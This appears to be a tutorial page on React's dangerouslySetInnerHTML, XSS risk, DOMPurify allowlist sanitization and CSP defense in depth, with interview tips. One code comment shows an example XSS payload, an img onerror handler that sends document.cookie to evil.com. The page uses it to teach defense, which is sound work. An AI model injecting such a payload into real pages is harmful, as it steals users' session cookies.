On this page · sections
dangerouslySetInnerHTML & Sanitization
dangerouslySetInnerHTML sets element.innerHTML — bypassing React’s default string escaping. Use it only for trusted or sanitized HTML.
| Approach | XSS risk | When to use |
|---|---|---|
JSX text children {bio} | Low — auto-escaped | Default for user text |
dangerouslySetInnerHTML raw | High — script/handlers run | Never with user input |
DOMPurify + __html | Reduced — allowlist strips danger | Legacy CMS HTML blobs |
| Structured content / markdown | Lowest — no raw HTML string | Greenfield features |
Why dangerouslySetInnerHTML Is Risky
Definition
Default JSX interpolation escapes <, >, & — user input in {userBio} renders as text.
dangerouslySetInnerHTML opts out: the browser HTML parser runs, and inline handlers or scripts may execute.
'use client';
type Props = { bio: string };
// UNSAFE — raw user HTML
function UnsafeBio({ bio }: Props) {
return <div dangerouslySetInnerHTML={{ __html: bio }} />;
}
// SAFE — escaped text
function SafeBio({ bio }: Props) {
return <div>{bio}</div>;
}
// User bio: <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">
// UnsafeBio → script runs · SafeBio → literal text displayedJSX text children → React escapes entities → safe text nodes
dangerouslySetInnerHTML → Browser HTML parser → script / handlers may runReact does not sanitize the __html string — your responsibility. ref + manual innerHTML carries the same risk.
Interview: React names the API “dangerously” because you opt out of the safe path — it does not sanitize
__html.
DOMPurify Sanitization
Definition
Run untrusted HTML through DOMPurify.sanitize before passing to __html. DOMPurify parses in a detached DOM, strips dangerous tags and attributes via allowlist, returns safe HTML string.
'use client';
import DOMPurify from 'dompurify';
const SANITIZE_CONFIG = {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'a', 'code'],
ALLOWED_ATTR: ['href', 'title', 'rel'],
ALLOW_DATA_ATTR: false,
};
function sanitizeHtml(dirty: string): string {
return DOMPurify.sanitize(dirty, SANITIZE_CONFIG);
}
export function RichText({ html }: { html: string }) {
const clean = sanitizeHtml(html);
return <div className="prose" dangerouslySetInnerHTML={{ __html: clean }} />;
}
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.tagName === 'A' && node.getAttribute('target') === '_blank') {
node.setAttribute('rel', 'noopener noreferrer');
}
});Sanitize on render and on save — server-side sanitization is mandatory; client-only is bypassable via direct API POST.
Real-world example
In Next.js Server Components, use isomorphic-dompurify or sanitize in Route Handler before DB write. RSC can render pre-sanitized HTML — never trust client-only sanitize alone.
Interview: Sanitize at API boundary and before render — defense in depth.
Allowlist vs Blocklist
Definition
Allowlist — only permitted tags and attributes survive. Unknown elements stripped. Production standard.
Blocklist — remove known bad patterns (script, onerror) — always incomplete.
| Approach | Unknown tag | Maintenance |
|---|---|---|
| Allowlist | Stripped | Add tags explicitly |
| Blocklist | May render | Endless chase |
'use client';
import DOMPurify from 'dompurify';
const COMMENT_CONFIG = {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em'],
ALLOWED_ATTR: [],
};
const ARTICLE_CONFIG = {
ALLOWED_TAGS: ['p', 'h2', 'h3', 'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote'],
ALLOWED_ATTR: ['href', 'title'],
};
export function CommentBody({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html, COMMENT_CONFIG);
return <p dangerouslySetInnerHTML={{ __html: clean }} />;
}Additional rules:
- URL schemes — allow
http,https,mailto; blockjavascript:,data:for links - Markdown pipeline — parse markdown → HTML → sanitize HTML; markdown can embed raw HTML blocks
- Mutation XSS (mXSS) — sanitizer output may mutate on re-parse; keep DOMPurify updated
Interview: Allowlist is the production standard — attackers invent vectors faster than blocklists update.
Safer Alternatives to Raw HTML
Definition
Prefer structured content — Markdown rendered to React components, JSON blocks, or a constrained schema mapped to <p>, <Link>, <Code>.
'use client';
import ReactMarkdown from 'react-markdown';
import rehypeSanitize from 'rehype-sanitize';
type Block = { type: 'paragraph' | 'heading'; text: string; level?: number };
function renderBlocks(blocks: Block[]) {
return blocks.map((block, i) => {
if (block.type === 'heading') {
const Tag = block.level === 2 ? 'h2' : 'h3';
return <Tag key={i}>{block.text}</Tag>;
}
return <p key={i}>{block.text}</p>;
});
}
export function MarkdownComment({ source }: { source: string }) {
return (
<ReactMarkdown rehypePlugins={[rehypeSanitize]}>
{source}
</ReactMarkdown>
);
}Markdown / JSON schema → AST or typed blocks → React components (preferred)
Raw HTML string → DOMPurify + dangerouslySetInnerHTML (legacy)Avoid rehype-raw unless chained with strict sanitize immediately after. For i18n, use ICU placeholders mapped to components — not HTML in translation files.
Interview: Greenfield features should use block JSON API, not HTML fields — lower ongoing XSS maintenance.
CSP + Defense in Depth
Definition
Sanitizer failure should not mean full compromise. CSP restricts script execution — script-src 'self' blocks injected inline script even if HTML sanitization missed a vector.
Untrusted HTML → DOMPurify allowlist → DOM render → CSP blocks script execDefense layers:
- Sanitizer — strips dangerous markup (allowlist tags/attrs)
- CSP — blocks script execution if markup slips through
- HttpOnly cookies — limits XSS exfiltration if script somehow runs
object-src 'none'— blocks Flash/plugin vectorsContent-Security-Policy-Report-Only— tune before enforce
Production rich-text checklist:
- Server-side sanitization at persistence boundary
- Client-side re-sanitize on render
- Per-context allowlist configs (comment vs article)
- Strict CSP without
unsafe-inline - ESLint rule banning raw
dangerouslySetInnerHTMLwithout sanitizer import
Real-world example
Compromised admin account = stored XSS for all users. CMS content is untrusted input — use broader allowlist for CMS than comments, but identical pipeline.
Interview: CSP does not remove phishing HTML or CSS exfil — it complements sanitization, not replaces it.
Senior Interview Summary
Mental model
JSX text → React escapes; safe default
__html → Sets innerHTML; bypasses escaping
DOMPurify → Parse + allowlist; returns safe HTML
Structured content → JSON blocks / markdown-to-components; no __html
CSP → Blocks script exec even if sanitizer missesPractical rules
- Never pass raw user input to
__html - Sanitize on save (authoritative) and on render (second layer)
- Per-surface allowlists — comments tighter than CMS
- Pin DOMPurify version; fuzz test config when adding tags
- Ban regex tag stripping — HTML is not regex-safe
What to say in interviews
I define per-surface allowlists, mandate server-side sanitization before DB write, re-sanitize on render, deploy strict CSP with nonce-based scripts, and prefer structured content over HTML strings for new features. Internal editors are still an attack surface — we do not skip sanitization based on role.
Common traps
- React does not sanitize
__html - Only
<script>tags are not the only vector — event handlers,javascript:URLs, SVG - Sanitize once on save only — attacker POSTs raw HTML directly to API
- CMS admins are not trusted — supply chain and insider risk